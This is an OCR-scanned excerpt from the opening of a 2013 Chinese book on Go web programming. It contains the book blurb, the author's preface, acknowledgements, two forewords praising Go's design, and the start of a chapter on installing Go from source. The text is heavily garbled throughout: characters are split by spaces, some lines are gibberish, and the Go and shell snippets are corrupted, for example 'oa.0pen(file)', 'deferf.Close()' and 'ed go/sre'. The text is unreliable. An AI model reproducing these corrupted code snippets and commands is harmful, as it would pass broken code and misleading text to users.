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内 容 简介 


本 书 介 绍 如 何 用 Go 语言 进行 Web 应 用 的 开发 ， 将 Go 语言 的 特性 与 
Web 开 发 实战 组 合 到 一 起 ， 帮 读者 成 功 地 构建 跨 平 台 的 应 用 程序 ， 节 省 
Go 语言 开发 Web 的 宝贵 时 间 。 有 了 这 些 针 对 真实 问题 的 解决 方案 放 在 手 
边 ， 大 多 数 编程 难题 都 会 迎刃而解 。 

在 本 书 中 ， 读 者 可 以 更 加 方便 地 找到 各 种 编程 问题 的 解决 方案 ， 内 
容 涵 盖 文本 处 理 、 表 单 处 理 、Session 管 理 、 数 据 库 交互 、 加 /解密 、 
际 化 和 标准 化 ， 以 及 程序 的 部 署 维护 等 运 维 方面 的 知识 ， 最 后 还 介绍 了 
一 个 快速 开发 的 框架 帮助 您 快速 进入 Go 语言 的 Web 开 发 。 

本 书 特 别 适 合 以 下 几 类 读者 阅读 ; 

从 事 PHP/Python/Ruby/Node.js 等 Web 开 发 的 读者 ， 通 过 本 书 可 以 了 
语言 怎么 写 Web 应 用 开发 ， 系 统 底层 怎么 进行 网 络 通信 。 

有 C/C++/Java 等 系统 级 别 开 发 的 读者 ， 通 过 本 书 可 以 了 解 到 Web 
开发 的 一 些 知 识 ， 例 如 ， 如 何 处 理 表 单 ， 如 何 进 行 用 户 认证 以 及 
Session/Cookie 等 各 方面 的 Web 应 用 。 
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缘起 


自从 一 年 半 之 前 看 到 许 式 伟 的 博客 ， 我 认识 了 Go 这 一 门 语言 ， 发 
现 Go 是 C 系 的 ， 个 人 又 偏爱 C 语 言 ， 所 以 就 开始 了 Go 语言 的 学 习 之 路 ， 
用 三 天 时 间 学 习 了 Go 语言 的 所 有 语法 和 基础 知识 。 恰 逢 当时 手 上 有 一 
些小 项 目 练 手 ， 在 项 目 开发 中 进一步 发 现 Go 语 言 具 有 三 大 优点 : 第 
















一 ， 性 能 好 ， 我 的 Mac 能 够 跑 2 万 左右 的 并 发 ， 第 二 ， 语 法 第 对 于 
以 前 有 C 语 言 基础 的 人 来 说 非常 容易 上 手 ， 我 仅 用 一 天 时 间 就 熟悉 了 基 


本 语法 ，Go 语 言 是 一 个 上 手 即 用 的 语言 ， 第 三 ， 开 发 效率 高 ， 目 前 有 
很 多 编辑 器 支持 Go 语言 ， 对 于 开发 效率 有 很 大 的 提升 ， 一 般 的 小 项 目 
半天 就 能 解决 。 通 过 一 年 多 来 对 Go 语言 项 目的 实战 累积 ， 我 越 来 越 觉 
得 Go 是 一 门 工 程 语言 ， 而 不 是 其 他 学 院 派 。 无 论 是 开发 、 测 试 、 部 
署 、 项 目 规模 的 扩展 ， 或 者 是 团队 协作 ，Go 语 言 考虑 都 非常 周到 ， 而 
且 其 语法 恰当 好 处 ， 不 多 不 少 ， 够 用 就 是 它 的 设计 原则 ， 所 以 Go 语言 
非常 适合 项 目的 开发 。 

选择 Go 语言 ， 还 有 一 部 分 是 缘 于 我 的 个 人 崇拜 ，Go 语 言 的 作者 不 
乏 易 易 大 名 的 牛人 : Robert Griesemer、Rob Pike 和 Ken Thompson， 他 们 
曾 设计 C 语 言 和 Unix 系 统 ， 后 来 隶属 Plan9 团 队 。 重 要 的 是 ， 在 Go 语言 的 
完全 开源 中 ， 很 多 名 人 都 参与 了 进来 ， 使 得 这 个 项 目 越 来 越 完善 : 
Gol.1 出 来 后 ， 性 能 提升 了 30-50%， 而 且 GC (垃圾 回收 机 制 ) 已 经 达到 
NIE 相信 在 开源 社区 和 大 牛 的 共同 推动 下 ，Go 语 言 会 苗 





Go Web 


我 以 前 是 PHP 开 发 者 ， 有 十 年 左右 的 Web 开 发 经 验 ， 但 在 Go 语言 的 
显著 优势 下 ， 逐 渐 走 向 了 Go 语言 的 开发 之 路 。 我 发 现 Go 语言 虽然 有 很 
强大 的 网 络 编程 库 ， 但 是 在 Web 编 程 方面 没有 详细 的 介绍 ， 也 缺少 一 些 
比较 实用 的 库 ， 所 以 结合 先前 的 Web 开 发 经 验 ， 以 及 Go 语言 本 身 的 网 络 
PE At a aa te 希望 更 多 同行 能 够 加 入 到 Go 语言 
9 开发 行列 。 


这 本 书 主要 分 三 部 分 ， 第 一 部 分 是 Go 语言 的 基础 语法 ， 主 要 介绍 
了 Go 语言 的 一 些 语法 特性 、 环 境 配置 和 开发 工具 。 第 二 部 分 是 Web 开 
发 ， 主 要 介绍 了 Go Web 的 基本 原理 、 表 单 处 理 、 数 据 库 操作 、Session 
和 Cookie 处 理 、 文 本 处 理 、Socket 编 程 、 安 全 加 密 、 国 际 化 和 本 地 化 、 
错误 处 理 和 调试 、 如 何 部 署 和 维护 等 知识 点 ， 并 且 针对 整个 Web 开 发 中 
需要 用 到 的 知识 点 ， 结 合 Go 语言 代码 的 原理 进行 了 详细 的 介绍 ， 针 对 
Go 语言 在 Web 开 发 方面 不 存在 的 工具 ， 提 供 了 详细 的 实现 方式 。 第 三 间 
分 是 应 用 框架 beego， 主 要 介绍 了 beego 框 架 的 设计 、 实 现 及 应 用 。 目 前 
书 中 提 到 的 一 些 功能 都 可 以 在 我 的 github 找 到 相应 的 代码 ， 方 便 读者 进 
行 深入 的 研究 。 

这 是 一 本 关于 Web 的 书 ， 我 觉得 特别 适合 以 下 几 种 开发 者 : 

o 如 果 你 是 PHP 或 者 其 他 动态 语言 爱好 者 ，Go 语 言 不 一 定 能 带 给 
你 很 大 的 惊喜 ， 因 为 原来 的 速度 不 是 根本 问题 。 但 如 果 是 类 似 API 应 用 
方面 ， 使 用 Go 语言 之 后 ， 你 会 发 现 性 能 得 到 了 一 个 量 的 提升 ， 这 本 书 
中 就 有 详细 介绍 API 开 发 的 实例 。 

se。 如 果 你 是 C 语 言 爱 好 者 ， 强 烈 建议 你 和 使 用 Go 语言 。Go 语 
言 称 为 21 世 纪 的 C 语 言 ， 它 不 仅 可 以 调用 C 语 言 程序 ， 又 可 以 提供 足够 
的 便利 ， 虽 然 速 度 上 稍 有 牺牲 ， 但 无 关 大 雅 。 大 部 分 场景 下 ，Go 语 言 
都 能 带 给 你 与 C 语 言 媲 美的 性 能 ， 对 于 某 些 确实 性 能 关键 的 场合 ， 我 们 
也 可 以 通过 cgo， 让 Go 语言 和 C 语 言 搭配 使 用 

o 如果 你 是 Java 爱 好 者 ， 那 么 也 建议 你 学 习 一 下 Go 语言 ， 因 为 
Java 能 给 你 的 ，Go 语 言 能 给 得 更 好 。 

@ ”如果 你 是 C++ 爱 好 者 ， 那 么 赶紧 来 看 看 Go 语言 吧 ， 因 为 光学 习 
C++ 特性 的 时 间 ， 已 经 可 以 开发 多 个 Go 语言 项 目 了 。 
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Go 社区 里 的 同仁 们 给 了 我 很 大 的 支持 ， 如 果 没 有 他 们 的 反馈 和 帮 
助 ， 我 就 不 能 顺利 完成 本 书 。 非 常 感谢 四 月 份 平民 、Hong Ruiqi、 

BianJiang, Oling Cat、Wenlei Wu、polaris、 雨 痕 等 网 友 的 热心 指导 ， 
还 有 很 多 github 中 的 贡献 者 ， 本 书 是 在 大 家 共同 协作 努力 下 才 得 以 完 


成 

我 还 要 感谢 符 隆 美 编辑 对 我 的 支持 ， 当 我 才思 枯竭 、 延 期 脱 稿 时 ， 
她 经 常 鼓励 我 、 开 导 我 ， 使 我 在 压力 下 完成 此 书 并 最 终 出 版 。 

最 后 要 感谢 家 庭 对 我 的 莫大 支持 ， 妻 子 刘 玉 娟 帮 有 我 收集 资料 ， 帮 忙 
完成 了 本 书 的 大 部 分 整理 工作 ， 儿 子 们 倾听 我 的 思路 想法 ， 没 有 他 们 ， 
我 也 没有 毅力 完成 写作 ， 谢 谢 他 们 。 








WEE 
2013 年 4 月 于 上 海 
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很 高 兴 听 到 谢 孟 军 的 《Go Web 编 程 》 要 出 版 。 当 谢 孟 军 找 我 写 推 
荐 序 时 ， 尽 管 工作 非常 繁忙 ， 我 还 是 一 口 应 承 下 来 了 。 原 因 很 简单 ， 作 
为 国内 首 家 完全 采用 Go 语言 开发 的 公司 ， 七 牛 非常 乐意 见 到 Go 语言 社 
区 的 繁荣 。 去 年 在 Google Trends 上 Golang 关 键 字 的 搜索 指数 ， 中 国 排 在 
全 球 首位 〈 比 美国 多 3 倍 ) ， 这 是 整个 中 国 Go 语言 社区 共同 努力 的 结 
果 。 

远 在 2007 年 第 2 届 ECUG 大 会 ， 我 讲 了 《我 为 什么 选择 了 Erlang》 的 
议题 。 其 中 提 到 了 我 对 未 来 软件 产业 趋势 的 判断 : 

o 存储 与 计算 向 服务 端 转移 

e 从 “PC 单机 ”到 “强悍 的 服务 器 十 多 元 化 的 终端 ”( 手 机 、PC、 
PDA、 电 视 机 顶 盒 、 车 载 终端 ) 

这 个 趋势 判断 对 我 职业 生涯 的 影响 非常 重大 。 它 促使 我 放弃 了 近 10 
年 的 桌面 开发 经 验 (包括 大 学 时 期 ) ， 转 向 服务 端 开发 。 正 如 我 在 《我 
为 什么 选择 了 Erlang》 中 建议 的 那样 : 

°« ”要么 就 不 写 程序 ， 要 和 服务 器 端的 程序 

e 当然 ， 你 也 可 以 去 撰写 移动 终端 设备 上 的 代码 ， 在 PC 平台 上 做 
开发 的 空间 很 小 。 

于 是 ， 我 开始 了 长 达 四 、 五 年 之 久 的 服务 端 开发 最 佳 实践 的 探索 。 
直到 有 一 天 ， 我 遇 到 了 Go 语言 。 

我 从 来 不 认为 自己 是 一 个 预言 师 ， 但 关注 过 我 的 人 可 能 都 知道 ， 我 
在 新 浪 微 博 、《Go 语 言 编程 》 一 书 中 都 非常 高 调 地 下 了 一 个 论断 : Go 
语言 将 超过 C 语 言 、Java， 成 为 未 来 十 年 最 流行 的 语言 。 

为 什么 我 可 以 如 此 坚定 地 相信 ， 选 择 Go 语言 不 会 有 错 ， 并 且 相 信 
Go 语言 会 成 为 未 来 十 年 最 流行 的 语言 ? 除了 Go 语言 的 并 发 编程 模型 深 
得 我 心 外 ，Go 语 言 的 各 种 语法 特性 显得 那么 深思 熟 虑 、 卓 绝 不 凡 ， 其 
对 软件 系统 架构 的 领悟 ， 让 我 深 觉 无 法 望 其 项 背 ， 处 处 带 给 我 惊喜 。 

Go 语言 给 我 的 第 一 个 惊喜 ， 是 大 道 至 简 的 设计 哲学 。 

Go 语言 是 非常 简约 的 语言 。 简 约 的 意思 是 少 而 精 ， 少 就 是 指数 级 
的 多 。Go 语 言 极力 追求 语言 特性 的 最 小 化 ， 如 果 某 个 语法 特性 只 是 少 
写 几 行 代码 ， 但 对 解决 实际 问题 的 难度 不 会 产生 本 质 的 影响 ， 那 么 这 样 
的 语法 特性 就 不 会 被 加 入 。Go 语 言 更 关心 的 是 如 何 解决 程序 员 开发 上 
的 心智 负担 。 如 何 减少 代码 出 错 的 机 会 ， 如 何 更 容易 写 出 高 品质 的 代 



































码 ， 是 Go 语言 设计 时 极度 关心 的 问题 。 

Go 语言 追求 显 式 表 达 。 任 何 封装 都 是 有 漏洞 的 ， 最 佳 的 表达 方式 
就 是 用 最 直 白 的 表达 方式 。 所 以 也 有 人 称 Go 语 言 为 "所 写 即 所 得 ”的 语 
Go 语言 也 是 非常 追求 自然 (nature) 的 语言 。Go 不 只 是 提供 极 少 的 
语言 特性 ， 并 极力 追求 语言 特性 最 自然 的 表达 ， 也 就 是 这 些 语法 特性 被 
设计 成 恰 如 多 少 人 期 望 的 那样 ， 尽 量 避 免 争议 。 事 实 上 Go 语言 的 语法 
特性 上 的 争议 非常 少 ， 这 些 也 让 Go 语言 的 入 门 门槛 变 得 非常 低 。 

Go 语言 给 我 的 第 二 个 惊喜 ， 是 最 对 胃口 的 并 行 支持 。 

我 对 服务 端 开发 的 探索 ， 始 于 Erlang 语 言 ， 并 且 认为 Erlang 风 格 并 

发 模型 的 精髓 是 轻 量 级 进程 模型 。 然 而 Erlang 除 了 语言 本 身 不 容易 被 程 
序 员 接 受 外 ， 其 基于 进程 邮箱 做 消息 传递 的 并 发 编程 模型 也 小 有 瑕 疯 。 

我 曾经 在 C++ 中 实现 了 一 个 名 为 CERL 的 网 络 库 ， 刚 开始 在 C++ 中 完全 模 
仿 Erlang 风 格 的 并 发 编程 手法 ， 然 而 在 我 拿 CERL 库 做 云 存 储 服务 的 实 

践 中 ， 发 现 了 该 编程 模型 的 问题 所 在 并 做 了 相应 的 调整 ， 这 就 是 后 来 的 
CERL 2.0 版 本 。 有 意思 的 是 ，CERL 2.0 与 Go 语言 的 并 行 编程 思路 不 谋 

而 合 。 某 种 程度 上 来 说 ， 这 种 默契 也 是 我 创办 七 牛 时 ，Go 语 言语 法 特 

oe nents 我 们 技术 选 型 就 坚决 地 采纳 了 Go 语言 的 重 

要 原因 。 

Go 语言 给 我 的 第 三 个 惊喜 ， 是 interface。 

Go 语言 的 interface， 并 非 是 你 在 Java 和 C# 中 看 到 的 interface， 尽 管 看 
起 来 有 点 像 。Go 语 言 的 interface 是 非 侵入 式 的 接口 ， 具 体 表现 在 实现 一 
个 接口 不 需要 显 式 地 进行 声明 。 不 过 ， 让 我 意外 的 不 是 Go 语言 的 非 侵 
入 式 接口 ， 非 侵入 式 接口 只 是 我 接受 Go 语言 的 基础 。 在 接口 (或 契 
约 ) 的 表达 上 ， 我 一 直 认为 Java 和 Ct# 这 些 主流 的 静态 类 型 语言 都 走 错 了 
方向 。C++ 的 模板 尽管 机 制 复杂 ， 但 是 走 在 了 正确 的 方向 上 。 

C++0x《〈 后 来 的 C++l1) 呼声 很 高 的 concept 提 案 被 否 ， 着 实 让 不 少 人 伤 
了 心 。 但 Go 语言 的 interface 远 不 是 非 侵入 式 接口 那么 简单 ， 它 是 Go 语言 
类 型 系统 的 纲 ， 这 表现 在 : 

1. 只 要 某 个 类 型 实现 了 接口 要 的 方法 ， 那 么 我 们 说 该 类 型 实现 了 
此 接口 。 该 类 型 的 对 象 可 赋值 给 该 接口 。 

2， 作 为 1 的 推论 ， 任 何 Go 语言 的 内 置 对 象 都 可 以 赋值 给 空 接口 
interface{}. 

3. 支持 接口 查询 。 如 果 你 曾经 是 Windows 程 序 员 ， 你 会 发 现 COM 
思想 在 Go 语言 中 通过 interface 优 雅 呈 现 。 并 且 Go 语 言 吸收 了 其 中 最 精华 
部 分 ， 而 COM 中 对 象 生命 周期 管理 的 负担 ， 却 因为 Go 语言 基于 GC Chi 
圾 回收 机 制 ) 方式 的 内 存 管 理 而 不 复 存在 。 




















Go 语言 给 我 的 第 四 个 惊喜 ， 是 极度 简化 但 完备 的 “面向 对 象 编程 
(OOP) "方法 。 

Go 语言 废弃 大 量 的 OOP 特 性 ， 如 继承 、 构 造 / 析 构 函数 、 虚 函数 、 
函数 重 载 、 默 认 参数 等 ， 简 化 的 符号 访问 权限 控制 、 将 隐藏 的 this 指 针 
BAS 显 式 定义 的 receiver 对 象 。 Go 语言 让 我 看 到 了 OOP 编 程 核心 价值 原 

只 是 多 数 人 都 无 法 看 透 。 
我 的 第 五 个 惊喜 ， 是 它 的 错误 处 理 规范 。 
Go 语音 引入 了 内 置 的 error 类 型 及 defer 关 键 字 来 编写 异常 安全 代 
码 ， 让 人 拍案 叫绝 。 下 面 这 个 例子 ， 我 在 多 个 场合 都 提 过 。 


f, err := oa.0pen(file) 
if err != nil { 
+ // error processing 
return 











y 
deferf.Close() 


.。 // process file data 


Go 语言 带 给 我 的 第 六 个 惊喜 ， 是 它 功能 的 内 聚 。 

一 个 最 典型 的 案例 是 Go 语言 的 组 合 功能 。 对 于 多 数 语言 来 说 ， 组 
合 只 是 形成 复合 类 型 的 基本 手段 ， 这 一 点 只 要 想 想 C 语 言 的 struct 就 清楚 
Te 但 Go 语言 引入 了 匿名 组 合 的 概念 ， 它 让 其 他 语言 原本 需要 引入 继 
承 这 一 新 概念 来 完成 事情 ， 统 一 又 到 了 组 合 这 样 的 一 个 基础 上 。 

在 C++ 中 ， 你 需要 这 样 定义 一 个 派生 类 。 


class Foo : public Base { 





teGoly 言 中 你 只 要 
type Foo struct { 
Base 


) 
更 有 甚 者 ，Go 语 言 的 匿名 组 合 允 许 组 合 一 个 指针 。 
type Foo struct 1 
*Base 


BPI EAT DL SEB AE LEM EAE ORE, 叫 “ 虚 拟 继 
承 ”。 但 同样 的 问题 ， 换 从 组 合 角度 来 表达 ， 直 达 问 题 的 本 质 ， 清 晰 易 


Go 语言 带 给 我 的 第 七 个 惊喜 ， 是 消除 了 堆 与 栈 的 边界 。 
在 Go 语言 之 前 ， 程序 员 是 清楚 地 知道 哪些 变量 在 栈 上 ， 哪些 变量 
在 堆 上 。 堆 与 栈 是 基于 现代 计算 机 系统 的 基础 工作 模型 上 形成 的 概念 ， 





Go 语言 屏蔽 了 变量 定义 在 堆 还 是 栈 上 这 样 的 物理 结构 ， 相 当 于 封装 了 
一 个 新 的 计算 机 工作 模型 。 这 一 点 看 似 与 Go 语言 显 式 表达 的 设计 哲学 
不 太一 致 ， 但 我 个 人 认为 这 是 一 项 了 不 起 的 工作 ， 而 且 与 Go 语言 的 显 
式 表达 并 不 矛盾 。Go 语 言 强调 的 是 对 开发 者 的 程序 逻辑 〈 语 义 ) 的 显 
式 表达 ， 而 非 对 计算 机 硬件 结构 的 显示 表达 。 对 计算 机 硬件 结构 的 高 度 
抽象 ， 将 更 有 助 于 Go 语言 适应 未 来 计算 机 硬件 发 展 的 变化 。 

Go 语言 带 给 我 的 第 八 个 惊喜 ， 是 Go 语言 对 C 语 言 的 支持 。 

可 以 这 么 说 ，Go 语 言 是 除了 Objective-C、C++ 这 两 门 以 兼容 C 为 基 
础 目标 的 语言 之 外 的 所 有 语言 中 ， 对 C 语 言 支持 最 友善 的 一 个 。 什 么 语 
言 可 以 直接 嵌入 C 代 码 ? 没有 ， 除 了 Go 语言 。 什 么 语言 可 以 无 颖 调用 C 
函数 ? 没有 ， 除 了 Go 语言 。 对 C 语 言 的 完美 支持 ， 是 Go 语言 快速 崛起 的 
关键 支撑 。 还 有 比 C 语 言 更 让 人 岗 甬 的 社区 财富 么 ? 那 是 一 个 取 之 不 尽 
的 金 矿 。 

总 而 言 之 ，Go 语 言 是 一 门 非 常 具 变革 性 的 语言 。 尽 管 这 四 十 多 年 
来 (从 20 世 纪 七 十 年 代 C 语 言 诞 生 开 始 算 起 ) 出 现 的 语言 非常 多 ， 各 有 
各 的 特色 ， 让 人 眼花 综 乱 。 但 是 我 个 人 固执 地 认为 ， 谈 得 上 突破 了 C 语 
言 思 想 ， 将 编程 理念 提高 到 一 个 新 高 度 的 ， 仅 有 Go 语言 而 已 。 

Go 语言 很 简单 ， 但 是 具备 极 强 的 表现 力 。 从 目前 的 状态 来 说 ，Go 
语言 主要 关注 服务 器 领域 的 开发 ， 但 这 不 会 是 Go 语言 的 完整 使 命 。 

我 们 说 Go 语言 适合 服务 端 开发 ， 仅 仅 是 因为 它 的 标准 库 支 持 方 
面 ， 目 前 是 向 服务 端 开 发 倾斜 ; 
o 网络 库 ( 包 括 socket、http、rpc 等 ) 
e 编码 库 ( 包 括 json、xml、gob 等 ) 
. 加密 库 〈 各 种 加 密 算法 、 摘 要 算法 ， 极 其 全 面 ) 
e Web (包括 template、html 支 持 ) 
而 作为 桌面 开发 的 常规 组 件 ，GDI 和 UI 系统 与 事件 处 理 ， 基 本 没有 


涉及 

尽管 Go 还 很 年 轻 ，Go 语 言 1.0 版 本 在 2012 年 3 月 底 发 布 ， 到 现在 才 1 
年 多 ， 然 而 Go 语言 已 经 得 到 了 非常 普遍 的 认同 。 在 国外 ， 有 人 甚至 提 
出 “Go 语言 将 制 霸 云 计算 领域 "。 在 国内 ， 几 乎 所 有 你 听 到 过 名 字 的 大 公 
司 〈 腾 讯 、 阿 里 巴巴 、 京 东 、360、 网 易 、 新 浪 、 金 山 、 豆 办 等 等 ) ， 
TE MNTG 务 端 开发 进行 了 小 范围 的 实践 。 这 是 不 能 不 说 是 一 
小 奇迹 。 

与 之 相反 的 是 ， 因 为 年 轻 ，Go 语 言 的 资料 ， 尤 其 是 中 文 资料 极度 
匮乏 。 在 这 样 的 背景 下 ，《Go Web 编 程 》 这 样 一 本 有 非常 强 的 实践 背 
景 的 图 书 出 版 了 ， 这 绝对 是 雪中送炭 。 

《Go Web 编 程 》 围 绕 做 一 个 Web 服 务 相关 的 一 个 个 问题 域 展开 : 























表单 处 理 、 数 据 库 、 会 话 (Session) 、 安 全 、 国 际 化 和 本 地 化 、 日 志 、 
部 署 与 维护 。 最 后 ， 结 合作 者 的 实践 ， 本 书 给 出 了 一 个 参考 的 Web 编 程 
框架 ， 以 简化 Web 编 程 ， 提 升 开发 效率 。 

无 论 是 对 那些 只 是 听 过 Go 语言 而 打算 开始 了 解 的 朋友 ， 还 是 对 那 
些 已 经 进行 Go 语言 开发 的 朋友 ， 本 书 都 极 具 参考 价值 。 

另外 值得 一 提 的 是 ， 除 了 《Go Web 编 程 》 一 书 外 ， 谢 孟 军 也 发 起 
了 Go 语言 标准 库 文 档 的 翻译 工作 ， 这 是 一 项 艰苦 的 工作 ， 但 可 以 预期 
将 对 Go 语言 的 发 展 起 到 重要 作用 ， 读 者 如 果 有 意 为 开源 贡献 自己 的 一 
份 力量 ， 欢 迎 你 能 够 积极 参与 其 中 。 


七 牛 云 存储 CEO ” 许 式 伟 
2013 年 4 月 





推荐 序 二 


很 早 就 知道 孟 军 兄 在 网 上 写 一 本 关于 Go Web 编 程 的 书 ， 但 是 因为 
各 种 原因 都 没 缘分 仔细 去 看 ， 最 近 因为 工作 原因 ， 也 开始 接触 并 使 用 
Go 语言 ， 才 去 看 这 本 书 ， 读 完 后 ， 便 觉得 相 见 恨 晚 。 

本 书 并 不 是 Go 语言 的 教程 ， 只 是 在 第 一 章 和 第 二 章 介绍 Go 的 运行 
开发 环境 以 及 基本 语法 ， 但 是 受益 于 Go 语言 自身 的 简洁 性 ， 却 也 把 Go 
语言 的 方方面面 介绍 得 非常 清楚 。 

然后 介绍 Web 编 程 方面 的 HTTP，Web Server， 文 本 处 理 ，Cookie， 
Session 等 知识 ， 同 时 提 到 了 Web 编 程 中 的 各 种 安全 问题 ， 比 如 CSRF、 
on SQL 注 入 、 密 码 安全 等 问题 ， 并 且 给 出 了 Go 语言 解 
决 方案 。 

与 后 台数 据 库 的 交互 是 Web 编 程 中 非常 重要 的 环节 ， 本 书 不 仅 介绍 
了 MySQL，SQLite，PostgreSQL 等 传统 关系 型 数据 库 ， 同 时 对 
MongoDB，Redis 这 两 位 NoSQL 阵 营 的 明星 产品 也 有 涉及 ， 但 最 值得 一 
提 的 是 ， 作 者 编写 的 开源 Go 语言 ORM 库 。 一 提 到 Web 编 程 ， 我 们 马上 
想到 的 是 PHP、Python、Ruby 等 动态 语言 以 及 基于 这 些 语言 的 各 种 框 
架 ， 如 PHP 阵 营 的 Zend Framework，Python 阵 营 的 Django，Ruby 阵 营 的 
Ruby On Rails， 诚 然 ， 动 态 语言 的 特性 加 速 了 我 们 的 开发 效率 ， 但 是 杠 
架 带 来 的 便利 与 高 效 才 是 至 关 重 要 的 ， 这 点 我 们 从 Spring，Hibernate 等 
框架 对 Java 社 区 的 重要 性 就 可 以 看 出 。 其 中 ORM 是 框架 中 非常 重要 的 一 
部 分 ， 它 帮 开 发 者 隐藏 了 繁琐 的 SQL 细节 ， 非 常 轻松 地 完成 数据 库 的 增 
删改 查 。 作 者 开源 的 Go 语言 的 ORM 库 功能 已 经 相对 完整 ， 算 是 我 国 Go 
语言 社区 里 开源 的 精品 之 作 了 ， 能 有 效 提高 使 用 Go 语言 进行 Web 开 发 的 
效率 ， 虽 然 也 存在 需要 提高 改进 的 地 方 ， 但 合 抱 之 木 生 于 毫 末 ， 九 层 之 
台 起 于 累 土 ， 千 里 之 行 始 于 足下 ， 只 要 坚持 不 懈 ， 持 续 改 进 ， 未 尝 没有 
像 Spring 一 样 成 为 全 球 知名 框架 的 可 能 。 

本 书 的 最 后 ， 还 介绍 了 如 何 进行 国际 化 与 本 地 化 的 Web 开 发 ， 讲 解 
了 如 何 调试 、 部 署 和 维护 方面 的 实践 ， 提 出 了 设计 可 扩展 Web 框 架 的 建 
议 。 

本 书 以 Web 编 程 为 主线 ， 讲 解 了 开发 、 测 试 、 设 计 和 部 署 等 方面 需 
要 的 知识 ， 涵 盖 了 一 个 Web 站 开发 生命 周期 的 方方面面 ， 不 仅 是 希望 用 
Go 语言 开发 Web 服 务 的 读者 会 受益 罪 浅 ， 而 且 用 其 他 语言 的 读者 对 Web 
编程 的 概念 也 会 有 清晰 的 认识 。 














1 








Go 语言 目标 是 成 为 集合 解释 型 编程 的 轻松 、 动 态 类 型 语言 的 高 效 
及 静态 类 型 语言 的 安全 三 大 优点 的 编译 型 语言 ， 同 时 它 对 网 络 编程 与 多 
核 计算 支持 非常 好 。 在 国内 外 ， 都 已 经 有 大 型 的 IT 公司 在 内 部 试 水 使 用 
Go 语言 开发 各 种 服务 ， 其 中 也 有 不 少 成 功 案例 。 在 技术 社区 ， 也 有 很 
多 人 开始 宣传 Go， 使 用 Go， 关 注 Go， 相 信 在 不 久 的 将 来 ， 会 有 更 多 的 
人 来 使 用 Go 语言 来 开发 他 们 的 Web 服 务 ， 因 为 Go 语言 确实 非常 优秀 而 
且 实 用 。 





京东 商城 云 平台 资深 工程 师 ， 高 级 经 理 ” 郭 理 靖 
2013 年 4 月 


第 1 章 “”Go 语 言 环境 配置 


欢迎 来 到 Go 语言 的 世界 ， 让 我 们 开始 探索 吧 ! 

Go 语言 是 一 种 并 发 的 、 带 垃圾 回收 的 、 快 速 编译 的 新 语言 。 它 具 
有 以 下 特点 : 
ae 可 以 在 一 台 计 算 机 上 仅 用 几 秒 钟 的 时 间 编译 一 个 大 型 的 Go 语言 


© Go 语言 为 软件 构造 提供 了 一 种 模型 ， 它 使 依赖 分 析 更 加 容易 ， 
且 避 免 了 大 部 分 C 语 言 风 格 include 文 件 与 库 的 开头 。 

© ”Go 语言 是 静态 类 型 的 语言 ， 它 的 类 型 系统 没有 层级 。 因 此 ， 用 
La 看 似 比 典型 的 面向 对 象 语 
言 更 轻 量 级 。 

© Go 语言 完全 是 垃圾 回收 型 的 语言 ， 而 且 为 并 发 执行 与 通信 提供 
了 基本 的 支持 。 

e ”Go 语言 是 一 种 云 计 算 时 代 的 语言 ， 它 能 够 充分 利用 计算 机 的 多 
核 ， 通 过 轻 量 级 别 的 goroutine 就 可 以 实现 多 并 发 。 

Go 语言 是 一 种 编译 型 语言 ， 它 结合 了 解释 型 语言 的 游 思 有 余 ， 动 
态 类 型 语言 的 开发 效率 ， 以 及 静态 类 型 的 安全 性 。 它 也 打算 成 为 现代 
的 、 支 持 网 络 与 多 核 计 算 的 语言 。 要 满足 这 些 目标 ， 需 要 解决 一 些 语言 
上 的 问题 一 个 富有 表达 能 力 但 轻 量 级 的 类 型 系统 ， 并 发 与 垃圾 回收 机 
制 ， 严 格 的 依赖 规范 等 。 这 些 问题 无 法 通过 库 或 工具 解决 ， 因 此 ，Go 
语言 应 运 而 生 。 
我 们 将 在 本 章 讲述 Go 语言 的 安装 方法 ， 以 及 如 何 配置 项 目 信息 。 

















11 Go 语言 安装 
Go 语言 的 三 种 安装 方式 


Go 语言 有 多 种 安装 方式 ， 你 可 以 选择 自己 喜欢 的 。 下 面 介绍 三 种 
最 常见 的 安装 方式 。 

o Go 语言 源码 安装 : 这 是 一 种 标准 的 软件 安装 方式 。 对 于 经 常 使 
用 UNIX 类 系统 的 用 户 ， 尤 其 对 于 开发 者 来 说 ， 从 源码 安装 是 最 方便 





的 。 

© ”Go 语言 标准 包 安装 : Go 语言 提供 了 方便 的 安装 包 ， 支 持 
Windows、Linux、Mac 等 系统 。 这 种 方式 适合 初学 者 ， 可 根据 自己 的 系 
统 位 数 下 载 好 相应 的 安装 包 ， 一 直 单 击 “next" 就 可 以 轻松 安装 了 。 

。 第 三 方 工具 安装 目前 有 很 多 方便 的 第 三 方 软件 包工 具 ， 例 如 
Ubuntu 的 apt-get、Mac 的 homebrew 等 。 这 种 安装 方式 适合 那些 熟悉 相应 
系统 的 用 户 。 

最 后 ， 如 果 你 想 在 同一 个 系统 中 安装 多 个 版 本 的 Go 语言 ， 你 可 以 
参考 第 三 方 工具 GVM https://github.com/moovweb/gym) ， 这 是 目前 在 
该 方面 做 得 最 好 的 工具 。 


Go 语言 源码 安装 


在 Go 语言 的 源 代码 中 ， 有 些 部 分 是 用 Plan 9 C 和 AT&T 汇 编写 的 ， 
因此 ， 假 如 你 想 从 源码 安装 ， 就 必须 安装 C 的 编译 工具 。 
在 Mac 系 统 中 ， 只 要 你 安装 了 Xcode， 就 已 经 包含 了 相应 的 编译 工 


”在 类 UNIX 系 统 中 ， 需 要 安装 gcc 等 工具 。 例 如 Ubuntu 系统 可 通过 在 

终端 中 执行 sudo apt-get install gcc libc6-dev 来 安装 编译 工具 。 

在 Windows 系 统 中 ， 你 需要 安装 MinGW， 然 后 通过 MinGW 安 装 
gcc， 并 设置 相应 的 环境 变量 。 

Go 语言 使 用 Mercurial 进 行 版 本 管理 ， 首 先 你 Mercurial, 
然后 才能 下 载 。 假 设 你 已 经 安装 好 Mercurial， 确 定 你 目前 已 经 位 于 Go 语 
言 的 安装 目录 $GO_ INSTALL_DIR 下 ， 执 行 如 下 代码 : 

hg clone -u release https://code.google.com/p/go 

ed go/sre 

-/all.bash 二 

运行 all.bash 后 ， 出 现 “ALL TESTS PASSED" 字 样 时 才 算 安装 成 功 。 

上 面 是 UNIX 风 格 的 命令 ，Windows 下 的 安装 方式 类 似 ， 只 不 过 是 
运行 all.bat， 调 用 的 编译 器 是 MinGW 的 gcc。 

然后 设置 以 下 几 个 环境 变量 : 

export GOROOT=$HOME/go 


export GOBIN=$GOROOT/bin 
export PATH=$PATH: $GOBIN 


看 到 如 图 1.1 所 示 的 图 片 ， 说 明 你 已 经 安装 成 功 。 













